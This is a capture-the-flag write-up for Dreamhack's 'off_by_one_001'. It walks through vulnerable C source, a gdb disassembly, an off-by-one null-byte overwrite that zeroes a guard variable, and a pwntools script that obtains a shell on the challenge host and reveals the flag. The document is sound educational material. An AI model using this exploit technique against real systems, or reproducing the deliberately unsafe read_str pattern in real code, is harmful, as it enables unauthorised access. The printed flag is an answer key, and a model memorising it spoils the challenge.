Categories:

Tags:



Enumeration

System information is as follows.

Ubuntu 16.04
Arch:     i386-32-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x8048000)

Reading the source code reveals its mechanics.

  1. Reads from standard input and save it to name.
  2. If age is 0, give a shell.
┌──(m0nk3y@kali)-[~/DH/off_by_one_001]
└─$ cat off_by_one_001.c
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>

void alarm_handler()
{
    puts("TIME OUT");
    exit(-1);
}

void initialize()
{
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}

void read_str(char *ptr, int size)
{
    int len;
    len = read(0, ptr, size);
    printf("%d", len);
    ptr[len] = '\0';
}

void get_shell()
{
    system("/bin/sh");
}

int main()
{
    char name[20];
    int age = 1;

    initialize();

    printf("Name: ");
    read_str(name, 20);

    printf("Are you baby?");

    if (age == 0)
    {
        get_shell();
    }
    else
    {
        printf("Ok, chance: \n");
        read(0, name, 20);
    }

    return 0;
}

Exploitation

Since the program reads 20 bytes instead of 19, I’ll be able to overflow name by 1 byte, overwriting age. To confirm this speculation, I’ll disassemble the binary.

gdb-peda$ disas main
Dump of assembler code for function main:
   0x08048654 <+0>: push   ebp
   0x08048655 <+1>: mov    ebp,esp
   0x08048657 <+3>: sub    esp,0x18
   0x0804865a <+6>: mov    DWORD PTR [ebp-0x4],0x1
   0x08048661 <+13>:    call   0x80485c2 <initialize>
   0x08048666 <+18>:    push   0x8048754
   0x0804866b <+23>:    call   0x8048420 <printf@plt>
   0x08048670 <+28>:    add    esp,0x4
   0x08048673 <+31>:    push   0x14
   0x08048675 <+33>:    lea    eax,[ebp-0x18]
   0x08048678 <+36>:    push   eax
   0x08048679 <+37>:    call   0x8048609 <read_str>
   0x0804867e <+42>:    add    esp,0x8
   0x08048681 <+45>:    push   0x804875b
   0x08048686 <+50>:    call   0x8048420 <printf@plt>
   0x0804868b <+55>:    add    esp,0x4
   0x0804868e <+58>:    cmp    DWORD PTR [ebp-0x4],0x0
   0x08048692 <+62>:    jne    0x804869b <main+71>
   0x08048694 <+64>:    call   0x8048641 <get_shell>
   0x08048699 <+69>:    jmp    0x80486b8 <main+100>
   0x0804869b <+71>:    push   0x8048769
   0x080486a0 <+76>:    call   0x8048450 <puts@plt>
   0x080486a5 <+81>:    add    esp,0x4
   0x080486a8 <+84>:    push   0x14
   0x080486aa <+86>:    lea    eax,[ebp-0x18]
   0x080486ad <+89>:    push   eax
   0x080486ae <+90>:    push   0x0
   0x080486b0 <+92>:    call   0x8048410 <read@plt>
   0x080486b5 <+97>:    add    esp,0xc
   0x080486b8 <+100>:   mov    eax,0x0
   0x080486bd <+105>:   leave
   0x080486be <+106>:   ret

Checking the memory address proves that the offset is 20 bytes between two variables.

name= $ebp-0x18
&age= $ebp-0x4

I’ll write an exploit which will give me a shell.

┌──(m0nk3y@kali)-[~/DH/off_by_one_001]
└─$ cat exploit.py
import sys
from pwn import *

client= remote(sys.argv[1], int(sys.argv[2]))

payload= "\x90"*20

client.recv()
client.sendline(payload)
client.recv()
client.recv()
client.interactive()

By running the exploit, I’m able to gain a shell as the user off_by_one_001.

┌──(m0nk3y@kali)-[~/DH/off_by_one_001]
└─$ python2 exploit.py host1.dreamhack.games 9855
[+] Opening connection to host1.dreamhack.games on port 9855: Done
[*] Switching to interactive mode
$ id
uid=1000(off_by_one_001) gid=1000(off_by_one_001) groups=1000(off_by_one_001)

Post Exploitation

With the shell acquired, I’m able to read the flag.

$ cat flag
DH{343bab3ef81db6f26ee5f1362942cd79}